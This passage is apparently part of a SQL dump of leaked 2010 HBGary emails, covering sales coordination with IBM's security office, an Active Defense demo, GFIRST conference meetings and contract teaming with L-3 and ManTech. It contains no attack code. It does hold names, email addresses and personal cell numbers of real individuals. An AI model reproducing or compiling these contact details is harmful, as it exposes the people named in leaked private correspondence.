\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAlan\r\n&nbsp;\r\nHBGary will be at the GFIRST conference in San\r\nAntonio week of August 16th.&nbsp; We\'ll have good representation at the\r\nconference if you want to stop by...&nbsp; I\'ll be there :)\r\n&nbsp;\r\nMaria\r\n\r\nOn Mon, Aug 2, 2010 at 4:47 PM, Alan Mitchell\r\n&lt;amitch@us.ibm.com&gt; wrote: \r\n\r\nRocco,\r\nhere is my contact information as well. I have entered your contact information\r\nas my point of contact for procurement to do their magic and get the CDA in\r\nplace I have asked for them to expedite as we hope to meet with your CEO in NY\r\nnext week Thursday. Dave Merrill who is also on copy will be your point of\r\ncontact in Somers,NY. My office is out of Austin but Dave and I report to the\r\nCISO for IBM. I will not attend in person but Dave and our CISO will be in NY\r\nfor the meetings.\r\n\r\nDave\'s contact information below as well\r\n\r\nDavid P Merrill, CISA&copy; \r\n\r\nSenior Technical Staff Member\r\nChief Information Security Office - IBM CIO\r\nEmail: Dave_Merrill@us.ibm.com\r\nOffice: (877) 656-5630 (T/L) 349-0887 \r\n\r\n\r\nAlan Mitchell, CISSP&reg; #43156, \r\nIBM Senior Technical Staff Member,\r\nChief Information Security Office-IBM CIO\r\n\r\nNSA-IAM,ITIL,LCP\r\nIBM Corporation amitch@us.ibm.com\r\nAlan Mitchell/Austin/IBM@IBMUS\r\n720.396.3244 TL 938.3244\r\n\r\n&quot;By all means let\'s be open-minded, but not so open-minded that our brains\r\ndrop out&quot; -Richard Dawkins\r\n\r\nRocco Fasciani ---08/02/2010 06:11:10\r\nPM---Hi Maria, Thanks, my contact information is indicated below.\r\n\r\n\r\n \r\n  \r\n  \r\n  From:\r\n  \r\n  \r\n  \r\n  Rocco Fasciani &lt;rocco@hbgary.com&gt;\r\n  \r\n \r\n \r\n  \r\n  \r\n  To:\r\n  \r\n  \r\n  \r\n  Maria Lucas &lt;maria@hbgary.com&gt;\r\n  \r\n \r\n \r\n  \r\n  \r\n  Cc:\r\n  \r\n  \r\n  \r\n  Alan Mitchell/Austin/IBM@IBMUS, David P Merrill/Poughkeepsie/IBM@IBMUS, Joe\r\n  Pizzo &lt;joe@hbgary.com&gt;\r\n  \r\n \r\n \r\n  \r\n  \r\n  Date:\r\n  \r\n  \r\n  \r\n  08/02/2010 06:11 PM\r\n  \r\n \r\n \r\n  \r\n  \r\n  Subject:\r\n  \r\n  \r\n  \r\n  Re: HBGary Contact information\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Maria,\r\n&nbsp;\r\nThanks, my contact information is indicated below.\r\n\r\nOn Mon, Aug 2, 2010 at 6:35 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote: \r\n\r\nHi\r\nRocco\r\n\r\nAlan Mitchell is working with Dave Merrill to setup the meeting with IBM next\r\nThursday.&nbsp; Can you send your contact information to Alan.&nbsp; He will be\r\nforwarding an NDA and vendor information.&nbsp; Once that is place you can work\r\nwith Alan on a detailed agenda.\r\n&nbsp;\r\nRight now we know that the Agenda includes an Active Defense demonstration and\r\nto see how it is used for Enterprise Incident Response engagements.&nbsp; IBM\r\npurchased&nbsp;BigFix so how the agent can be pushed out with BigFix is great\r\nto know.&nbsp; How we compete and complement competing products would be great\r\ntoo.&nbsp;It is likely that after the presentation, the group will want to test\r\nthe software.\r\n&nbsp;\r\nMaria\r\n\r\n---------- Forwarded message ----------\r\nFrom: Alan Mitchell &lt;amitch@us.ibm.com&gt;\r\nDate: Mon, Aug 2, 2010 at 2:05 PM\r\nSubject: Contact information\r\nTo: Maria Lucas &lt;maria@hbgary.com&gt;\r\nCc: David P Merrill &lt;Dave_Merrill@us.ibm.com&gt;\r\n\r\nMaria,\r\n\r\nThanks for taking the time to talk with me today. Could you please forward me\r\nRocco\'s (sp?) contact information and give him a heads up I will be listing him\r\nas our POC for procurement to put the CDA in place. Look forward to working\r\nwith HBgary and learning more about your products. \r\n\r\nKind Regards, Alan\r\n\r\nAlan Mitchell, CISSP&reg; #43156, \r\nIBM Senior Technical Staff Member,\r\nChief Information Security Office-IBM CIO\r\n\r\nNSA-IAM,ITIL,LCP\r\nIBM Corporation amitch@us.ibm.com\r\nAlan Mitchell/Austin/IBM@IBMUS\r\n720.396.3244 TL 938.3244\r\n\r\n&quot;By all means let\'s be open-minded, but not so open-minded that our brains\r\ndrop out&quot; -Richard Dawkins\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n-- \r\nRegards,\r\n\r\n\r\n\r\nRocco Fasciani\r\nRegional Sales Director\r\nHB Gary, Inc.\r\noffice 908 766 2705\r\ncell 201 715 8539\r\nRocco@HBGary.com\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6552,'aaron_hbgary_com/6552.html'),(9519,'2010-08-03','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007319.M789956P14101Q4374.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','RE: L-3','Awesome.  Yes we are we are working with Pat Malroney, Bob can get you more\r\ninfo.  I would say a recommendation from him would be a plus\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 03, 2010 6:51 AM\r\nTo: Penny Leavy; Greg Hoglund; Bob Slapnik\r\nSubject: L-3\r\n\r\nThis guy is an old navy boss of mine.  He wants me to come in and help him\r\nbuild his cyber r&d facility.  Aren\'t we doing something with l3.  Can I\r\nhelp?\r\n\r\nAaron\r\n\r\n\r\n',438,'aaron_hbgary_com/438.html'),(9520,'2010-08-03','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007320.M319749P14101Q4375.eml','\"Alan Mitchell\" <amitch@us.ibm.com>,\"Alan Mitchell\" <amitch@us.ibm.com>','Re: HBGary Contact information','Hi Alan\r\n \r\nIs it possible to schedule a meeting with Linda at GFIRST?  \r\n \r\nAaron Barr is CEO of HBGary Federal and would love to meet her.  HBGary Federal is involved in offensive work requiring top clearances and also doing some really interesting social media training for executives and targeted companies...\r\n\r\n \r\nMaria\r\nOn Tue, Aug 3, 2010 at 6:12 AM, Alan Mitchell &lt;amitch@us.ibm.com&gt; wrote:\r\n\r\n\r\nMaria I will not be at GFIRST but my boss Linda Betz will be a keynote speaker. I will have to catch you another time. Thanks-Alan \r\nAlan Mitchell, CISSP® #43156, IBM Senior Technical Staff Member,Chief Information Security Office-IBM CIONSA-IAM,ITIL,LCPIBM Corporation amitch@us.ibm.com\r\nAlan Mitchell/Austin/IBM@IBMUS720.396.3244 TL 938.3244&quot;By all means let&#39;s be open-minded, but not so open-minded that our brains drop out&quot; -Richard DawkinsMaria Lucas ---08/03/2010 01:03:28 AM---Alan HBGary will be at the GFIRST conference in San Antonio week of August 16th.\r\n\r\n\r\n\r\n\r\nFrom:\r\nMaria Lucas &lt;maria@hbgary.com&gt;\r\n\r\n\r\nTo:\r\nAlan Mitchell/Austin/IBM@IBMUS\r\n\r\nCc:\r\nRocco Fasciani &lt;rocco@hbgary.com&gt;, David P Merrill/Poughkeepsie/IBM@IBMUS, Joe Pizzo &lt;joe@hbgary.com&gt;\r\n\r\n\r\nDate:\r\n08/03/2010 01:03 AM\r\n\r\nSubject:\r\nRe: HBGary Contact information\r\n\r\n\r\n\r\n\r\nAlan HBGary will be at the GFIRST conference in San Antonio week of August 16th.  We&#39;ll have good representation at the conference if you want to stop by...  I&#39;ll be there :)\r\n MariaOn Mon, Aug 2, 2010 at 4:47 PM, Alan Mitchell &lt;amitch@us.ibm.com&gt; wrote: \r\nRocco, here is my contact information as well. I have entered your contact information as my point of contact for procurement to do their magic and get the CDA in place I have asked for them to expedite as we hope to meet with your CEO in NY next week Thursday. Dave Merrill who is also on copy will be your point of contact in Somers,NY. My office is out of Austin but Dave and I report to the CISO for IBM. I will not attend in person but Dave and our CISO will be in NY for the meetings.\r\nDave&#39;s contact information below as wellDavid P Merrill, CISA© Senior Technical Staff MemberChief Information Security Office - IBM CIOEmail: Dave_Merrill@us.ibm.com\r\nOffice: (877) 656-5630 (T/L) 349-0887 Alan Mitchell, CISSP® #43156, IBM Senior Technical Staff Member,Chief Information Security Office-IBM CIONSA-IAM,ITIL,LCPIBM Corporation amitch@us.ibm.com\r\nAlan Mitchell/Austin/IBM@IBMUS720.396.3244 TL 938.3244&quot;By all means let&#39;s be open-minded, but not so open-minded that our brains drop out&quot; -Richard DawkinsRocco Fasciani ---08/02/2010 06:11:10 PM---Hi Maria, Thanks, my contact information is indicated below.\r\n\r\n\r\n\r\n\r\nFrom:\r\nRocco Fasciani &lt;rocco@hbgary.com&gt;\r\n\r\n\r\nTo:\r\nMaria Lucas &lt;maria@hbgary.com&gt;\r\n\r\n\r\nCc:\r\nAlan Mitchell/Austin/IBM@IBMUS, David P Merrill/Poughkeepsie/IBM@IBMUS, Joe Pizzo &lt;joe@hbgary.com&gt;\r\n\r\n\r\nDate:\r\n08/02/2010 06:11 PM\r\n\r\nSubject:\r\nRe: HBGary Contact information\r\n\r\nHi Maria, Thanks, my contact information is indicated below.On Mon, Aug 2, 2010 at 6:35 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote: \r\n\r\nHi RoccoAlan Mitchell is working with Dave Merrill to setup the meeting with IBM next Thursday.  Can you send your contact information to Alan.  He will be forwarding an NDA and vendor information.  Once that is place you can work with Alan on a detailed agenda.\r\n Right now we know that the Agenda includes an Active Defense demonstration and to see how it is used for Enterprise Incident Response engagements.  IBM purchased BigFix so how the agent can be pushed out with BigFix is great to know.  How we compete and complement competing products would be great too. It is likely that after the presentation, the group will want to test the software.\r\n Maria---------- Forwarded message ----------From: Alan Mitchell &lt;amitch@us.ibm.com&gt;\r\nDate: Mon, Aug 2, 2010 at 2:05 PMSubject: Contact informationTo: Maria Lucas &lt;maria@hbgary.com&gt;\r\nCc: David P Merrill &lt;Dave_Merrill@us.ibm.com&gt;\r\nMaria,Thanks for taking the time to talk with me today. Could you please forward me Rocco&#39;s (sp?) contact information and give him a heads up I will be listing him as our POC for procurement to put the CDA in place. Look forward to working with HBgary and learning more about your products. \r\nKind Regards, AlanAlan Mitchell, CISSP® #43156, IBM Senior Technical Staff Member,Chief Information Security Office-IBM CIONSA-IAM,ITIL,LCPIBM Corporation amitch@us.ibm.com\r\nAlan Mitchell/Austin/IBM@IBMUS720.396.3244 TL 938.3244&quot;By all means let&#39;s be open-minded, but not so open-minded that our brains drop out&quot; -Richard Dawkins\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  -- Regards,Rocco FascianiRegional Sales DirectorHB Gary, Inc.office 908 766 2705cell 201 715 8539Rocco@HBGary.com\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n   \r\n\r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',13581,'aaron_hbgary_com/13581.html'),(9521,'2010-08-03','aaron@hbgary.com','/aaron@hbgary.com/new/1297007320.M551058P14101Q4376.eml','alexander.miller@l-3com.com','Discussions','Alex,\r\n\r\nVery good to meet with you today.  Now I am going to have to go through all my old photos i think I have a picture of you giving me an award of some sort.  Takes me back.  I think i may be a good example of the enlisted training available in the services.\r\n\r\nI would like to come in and talk cyber and see if I can provide some assistance.  I have been looking at the national problem for some time so certainly know where it\'s broken but i also think we have some ideas on how to improve our capabilities.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal LLC\r\n719.510.8478 \r\n\r\nSent from my iPad',12600,'aaron_hbgary_com/12600.html'),(9522,'2010-08-03','\"Alan Mitchell\" <amitch@us.ibm.com>','/aaron@hbgary.com/new/1297007320.M792552P14101Q4377.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','Re: HBGary Contact information','\r\nMaria/Aaron,  I sent Linda and email to see what her schedule looks like.  She will reach out to you if she will have time to meet.  I know she is a keynote speaker on one of the days but I am not sure if she is flying in then out. \r\n\r\nKind Regards, Alan\r\n\r\nAlan Mitchell, CISSP® #43156, \r\nIBM Senior Technical Staff Member,\r\nChief Information Security Office-IBM CIO\r\n\r\nNSA-IAM,ITIL,LCP\r\nIBM Corporation    amitch@us.ibm.com\r\nAlan Mitchell/Austin/IBM@IBMUS\r\n720.396.3244 TL 938.3244\r\n\r\n&quot;By all means let\'s be open-minded, but not so open-minded that our brains drop out&quot; -Richard Dawkins\r\n\r\nMaria Lucas ---08/03/2010 09:53:15 AM---Hi Alan Is it possible to schedule a meeting with Linda at GFIRST?\r\n\r\n\r\n\r\n\r\nFrom:\r\nMaria Lucas &lt;maria@hbgary.com&gt;\r\n\r\n\r\nTo:\r\nAlan Mitchell/Austin/IBM@IBMUS\r\n\r\n\r\nCc:\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\nDate:\r\n08/03/2010 09:53 AM\r\n\r\n\r\nSubject:\r\nRe: HBGary Contact information\r\n\r\n\r\n\r\n\r\nHi Alan\r\n \r\nIs it possible to schedule a meeting with Linda at GFIRST?  \r\n \r\nAaron Barr is CEO of HBGary Federal and would love to meet her.  HBGary Federal is involved in offensive work requiring top clearances and also doing some really interesting social media training for executives and targeted companies...\r\n \r\nMaria\r\n\r\nOn Tue, Aug 3, 2010 at 6:12 AM, Alan Mitchell &lt;amitch@us.ibm.com&gt; wrote:\r\nMaria I will not be at GFIRST but my boss Linda Betz will be a keynote speaker. I will have to catch you another time. Thanks-Alan \r\n\r\n\r\nAlan Mitchell, CISSP® #43156, \r\nIBM Senior Technical Staff Member,\r\nChief Information Security Office-IBM CIO\r\n\r\nNSA-IAM,ITIL,LCP\r\nIBM Corporation amitch@us.ibm.com\r\nAlan Mitchell/Austin/IBM@IBMUS\r\n720.396.3244 TL 938.3244\r\n\r\n&quot;By all means let\'s be open-minded, but not so open-minded that our brains drop out&quot; -Richard Dawkins\r\n\r\nMaria Lucas ---08/03/2010 01:03:28 AM---Alan HBGary will be at the GFIRST conference in San Antonio week of August 16th.\r\n\r\n\r\n\r\nFrom:\r\nMaria Lucas &lt;maria@hbgary.com&gt;\r\n\r\n\r\nTo:\r\nAlan Mitchell/Austin/IBM@IBMUS\r\n\r\n\r\nCc:\r\nRocco Fasciani &lt;rocco@hbgary.com&gt;, David P Merrill/Poughkeepsie/IBM@IBMUS, Joe Pizzo &lt;joe@hbgary.com&gt;\r\n\r\n\r\nDate:\r\n08/03/2010 01:03 AM\r\n\r\n\r\nSubject:\r\nRe: HBGary Contact information\r\n\r\n\r\n\r\n\r\nAlan\r\n \r\nHBGary will be at the GFIRST conference in San Antonio week of August 16th.  We\'ll have good representation at the conference if you want to stop by...  I\'ll be there :)\r\n \r\nMaria\r\n\r\nOn Mon, Aug 2, 2010 at 4:47 PM, Alan Mitchell &lt;amitch@us.ibm.com&gt; wrote: \r\n\r\nRocco, here is my contact information as well. I have entered your contact information as my point of contact for procurement to do their magic and get the CDA in place I have asked for them to expedite as we hope to meet with your CEO in NY next week Thursday. Dave Merrill who is also on copy will be your point of contact in Somers,NY. My office is out of Austin but Dave and I report to the CISO for IBM. I will not attend in person but Dave and our CISO will be in NY for the meetings.\r\n\r\nDave\'s contact information below as well\r\n\r\nDavid P Merrill, CISA© \r\n\r\nSenior Technical Staff Member\r\nChief Information Security Office - IBM CIO\r\nEmail: Dave_Merrill@us.ibm.com\r\nOffice: (877) 656-5630 (T/L) 349-0887 \r\n\r\n\r\nAlan Mitchell, CISSP® #43156, \r\nIBM Senior Technical Staff Member,\r\nChief Information Security Office-IBM CIO\r\n\r\nNSA-IAM,ITIL,LCP\r\nIBM Corporation amitch@us.ibm.com\r\nAlan Mitchell/Austin/IBM@IBMUS\r\n720.396.3244 TL 938.3244\r\n\r\n&quot;By all means let\'s be open-minded, but not so open-minded that our brains drop out&quot; -Richard Dawkins\r\n\r\nRocco Fasciani ---08/02/2010 06:11:10 PM---Hi Maria, Thanks, my contact information is indicated below.\r\n\r\n\r\nFrom:\r\nRocco Fasciani &lt;rocco@hbgary.com&gt;\r\n\r\n\r\nTo:\r\nMaria Lucas &lt;maria@hbgary.com&gt;\r\n\r\n\r\nCc:\r\nAlan Mitchell/Austin/IBM@IBMUS, David P Merrill/Poughkeepsie/IBM@IBMUS, Joe Pizzo &lt;joe@hbgary.com&gt;\r\n\r\n\r\nDate:\r\n08/02/2010 06:11 PM\r\n\r\n\r\nSubject:\r\nRe: HBGary Contact information\r\n\r\n\r\n\r\n\r\n\r\nHi Maria,\r\n \r\nThanks, my contact information is indicated below.\r\n\r\nOn Mon, Aug 2, 2010 at 6:35 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote: \r\n\r\n\r\n\r\nHi Rocco\r\n\r\nAlan Mitchell is working with Dave Merrill to setup the meeting with IBM next Thursday.  Can you send your contact information to Alan.  He will be forwarding an NDA and vendor information.  Once that is place you can work with Alan on a detailed agenda.\r\n \r\nRight now we know that the Agenda includes an Active Defense demonstration and to see how it is used for Enterprise Incident Response engagements.  IBM purchased BigFix so how the agent can be pushed out with BigFix is great to know.  How we compete and complement competing products would be great too. It is likely that after the presentation, the group will want to test the software.\r\n \r\nMaria\r\n\r\n---------- Forwarded message ----------\r\nFrom: Alan Mitchell &lt;amitch@us.ibm.com&gt;\r\nDate: Mon, Aug 2, 2010 at 2:05 PM\r\nSubject: Contact information\r\nTo: Maria Lucas &lt;maria@hbgary.com&gt;\r\nCc: David P Merrill &lt;Dave_Merrill@us.ibm.com&gt;\r\nMaria,\r\n\r\nThanks for taking the time to talk with me today. Could you please forward me Rocco\'s (sp?) contact information and give him a heads up I will be listing him as our POC for procurement to put the CDA in place. Look forward to working with HBgary and learning more about your products. \r\n\r\nKind Regards, Alan\r\n\r\nAlan Mitchell, CISSP® #43156, \r\nIBM Senior Technical Staff Member,\r\nChief Information Security Office-IBM CIO\r\n\r\nNSA-IAM,ITIL,LCP\r\nIBM Corporation amitch@us.ibm.com\r\nAlan Mitchell/Austin/IBM@IBMUS\r\n720.396.3244 TL 938.3244\r\n\r\n&quot;By all means let\'s be open-minded, but not so open-minded that our brains drop out&quot; -Richard Dawkins\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nRegards,\r\n\r\n\r\n\r\nRocco Fasciani\r\nRegional Sales Director\r\nHB Gary, Inc.\r\noffice 908 766 2705\r\ncell 201 715 8539\r\nRocco@HBGary.com\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n \r\n  \r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n \r\n \r\n\r\n\r\n',737,'aaron_hbgary_com/737.html'),(9523,'2010-08-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007328.M183247P14101Q4378.eml','\"Eifert, Eric J.\" <Eric.Eifert@mantech.com>','Re: Tsa and social media','Eric,\r\n\r\nWho handles TSA for you?  DigitalManagement would like to talk with\r\nyou about teaming with Mantech for this effort.  It\'s a smb set aside.\r\n It\'s a quick turn so they would like to talk soon.\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Thursday, July 22, 2010, Eifert, Eric J.  wrote:\r\n> We can catch up then, are you guys considered a small business?\r\n>\r\n> Eric J. Eifert\r\n> Vice President, Cyber Defense Solutions Business Unit\r\n> ManTech Mission, Cyber and Technology Solutions\r\n> (direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n>\r\n> **PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n> This email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, July 21, 2010 5:09 PM\r\n> To: Eifert, Eric J.\r\n> Subject: Tsa and social media\r\n>\r\n> Great.\r\n>\r\n> Attached is the TSA RFI.  I will be out until after blackhat.  So anytime after Aug. 1st I can support.\r\n>\r\n> Aaron\r\n>\r\n>\r\n\r\n-- \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n',14783,'aaron_hbgary_com/14783.html'),(9524,'2010-08-03','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007329.M230393P14101Q4379.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: HBGary Contact information','Aaron\r\n \r\nIt would be great for you to meet Linda but I am wondering what services you would offer to IBM -- what kinds of things would they need -- maybe we should put together your bio, mission and what we could discuss besides the software we are selling to her group...\r\n\r\n \r\nMaria\r\n---------- Forwarded message ----------From: Alan Mitchell &lt;amitch@us.ibm.com&gt;Date: Tue, Aug 3, 2010 at 8:11 AM\r\nSubject: Re: HBGary Contact informationTo: Maria Lucas &lt;maria@hbgary.com&gt;Cc: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nMaria/Aaron, I sent Linda and email to see what her schedule looks like. She will reach out to you if she will have time to meet. I know she is a keynote speaker on one of the days but I am not sure if she is flying in then out. \r\n\r\nKind Regards, AlanAlan Mitchell, CISSP® #43156, IBM Senior Technical Staff Member,Chief Information Security Office-IBM CIONSA-IAM,ITIL,LCPIBM Corporation amitch@us.ibm.com\r\nAlan Mitchell/Austin/IBM@IBMUS720.396.3244 TL 938.3244&quot;By all means let&#39;s be open-minded, but not so open-minded that our brains drop out&quot; -Richard DawkinsMaria Lucas ---08/03/2010 09:53:15 AM---Hi Alan Is it possible to schedule a meeting with Linda at GFIRST?\r\n\r\n\r\n\r\n\r\nFrom:\r\nMaria Lucas &lt;maria@hbgary.com&gt;\r\n\r\n\r\nTo:\r\nAlan Mitchell/Austin/IBM@IBMUS\r\n\r\nCc:\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\nDate:\r\n08/03/2010 09:53 AM\r\n\r\nSubject:\r\nRe: HBGary Contact information\r\n\r\n\r\n\r\n\r\nHi Alan Is it possible to schedule a meeting with Linda at GFIRST?   Aaron Barr is CEO of HBGary Federal and would love to meet her.  HBGary Federal is involved in offensive work requiring top clearances and also doing some really interesting social media training for executives and targeted companies...\r\n MariaOn Tue, Aug 3, 2010 at 6:12 AM, Alan Mitchell &lt;amitch@us.ibm.com&gt; wrote: \r\nMaria I will not be at GFIRST but my boss Linda Betz will be a keynote speaker. I will have to catch you another time. Thanks-Alan Alan Mitchell, CISSP® #43156, IBM Senior Technical Staff Member,\r\nChief Information Security Office-IBM CIONSA-IAM,ITIL,LCPIBM Corporation amitch@us.ibm.com\r\nAlan Mitchell/Austin/IBM@IBMUS720.396.3244 TL 938.3244&quot;By all means let&#39;s be open-minded, but not so open-minded that our brains drop out&quot; -Richard DawkinsMaria Lucas ---08/03/2010 01:03:28 AM---Alan HBGary will be at the GFIRST conference in San Antonio week of August 16th.\r\n\r\n\r\n\r\n\r\nFrom:\r\nMaria Lucas &lt;maria@hbgary.com&gt;\r\n\r\n\r\nTo:\r\nAlan Mitchell/Austin/IBM@IBMUS\r\n\r\nCc:\r\nRocco Fasciani &lt;rocco@hbgary.com&gt;, David P Merrill/Poughkeepsie/IBM@IBMUS, Joe Pizzo &lt;joe@hbgary.com&gt;\r\n\r\n\r\nDate:\r\n08/03/2010 01:03 AM\r\n\r\nSubject:\r\nRe: HBGary Contact information\r\n\r\nAlan HBGary will be at the GFIRST conference in San Antonio week of August 16th.  We&#39;ll have good representation at the conference if you want to stop by...  I&#39;ll be there :)\r\n MariaOn Mon, Aug 2, 2010 at 4:47 PM, Alan Mitchell &lt;amitch@us.ibm.com&gt; wrote: \r\n\r\nRocco, here is my contact information as well. I have entered your contact information as my point of contact for procurement to do their magic and get the CDA in place I have asked for them to expedite as we hope to meet with your CEO in NY next week Thursday. Dave Merrill who is also on copy will be your point of contact in Somers,NY. My office is out of Austin but Dave and I report to the CISO for IBM. I will not attend in person but Dave and our CISO will be in NY for the meetings.\r\nDave&#39;s contact information below as wellDavid P Merrill, CISA© Senior Technical Staff MemberChief Information Security Office - IBM CIOEmail: Dave_Merrill@us.ibm.com\r\nOffice: (877) 656-5630 (T/L) 349-0887 Alan Mitchell, CISSP® #43156, IBM Senior Technical Staff Member,Chief Information Security Office-IBM CIONSA-IAM,ITIL,LCPIBM Corporation amitch@us.ibm.com\r\nAlan Mitchell/Austin/IBM@IBMUS720.396.3244 TL 938.3244&quot;By all means let&#39;s be open-minded, but not so open-minded that our brains drop out&quot; -Richard DawkinsRocco Fasciani ---08/02/2010 06:11:10 PM---Hi Maria, Thanks, my contact information is indicated below. \r\n\r\n\r\n\r\nFrom:\r\nRocco Fasciani &lt;rocco@hbgary.com&gt;\r\n\r\n\r\nTo:\r\nMaria Lucas &lt;maria@hbgary.com&gt;\r\n\r\n\r\nCc:\r\nAlan Mitchell/Austin/IBM@IBMUS, David P Merrill/Poughkeepsie/IBM@IBMUS, Joe Pizzo &lt;joe@hbgary.com&gt;\r\n\r\n\r\nDate:\r\n08/02/2010 06:11 PM\r\n\r\nSubject:\r\nRe: HBGary Contact information\r\n\r\nHi Maria, Thanks, my contact information is indicated below.On Mon, Aug 2, 2010 at 6:35 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote: \r\n\r\n\r\n\r\nHi RoccoAlan Mitchell is working with Dave Merrill to setup the meeting with IBM next Thursday.  Can you send your contact information to Alan.  He will be forwarding an NDA and vendor information.  Once that is place you can work with Alan on a detailed agenda.\r\n Right now we know that the Agenda includes an Active Defense demonstration and to see how it is used for Enterprise Incident Response engagements.  IBM purchased BigFix so how the agent can be pushed out with BigFix is great to know.  How we compete and complement competing products would be great too. It is likely that after the presentation, the group will want to test the software.\r\n Maria---------- Forwarded message ----------From: Alan Mitchell &lt;amitch@us.ibm.com&gt;\r\nDate: Mon, Aug 2, 2010 at 2:05 PMSubject: Contact informationTo: Maria Lucas &lt;maria@hbgary.com&gt;\r\nCc: David P Merrill &lt;Dave_Merrill@us.ibm.com&gt; \r\nMaria,Thanks for taking the time to talk with me today. Could you please forward me Rocco&#39;s (sp?) contact information and give him a heads up I will be listing him as our POC for procurement to put the CDA in place. Look forward to working with HBgary and learning more about your products. \r\nKind Regards, AlanAlan Mitchell, CISSP® #43156, IBM Senior Technical Staff Member,Chief Information Security Office-IBM CIONSA-IAM,ITIL,LCPIBM Corporation amitch@us.ibm.com\r\nAlan Mitchell/Austin/IBM@IBMUS720.396.3244 TL 938.3244&quot;By all means let&#39;s be open-minded, but not so open-minded that our brains drop out&quot; -Richard Dawkins\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  -- Regards,Rocco FascianiRegional Sales DirectorHB Gary, Inc.office 908 766 2705cell 201 715 8539Rocco@HBGary.com\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n   -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com    \r\n\r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',15101,'aaron_hbgary_com/15101.html'),(9525,'2010-08-03','alexander.miller@l-3com.com','/aaron@hbgary.com/new/1297007329.M469675P14101Q4380.eml','aaron@hbgary.com,\"Hasson, Simone @ STRATIS\" <simone.hasson@l-3com.com>','RE: 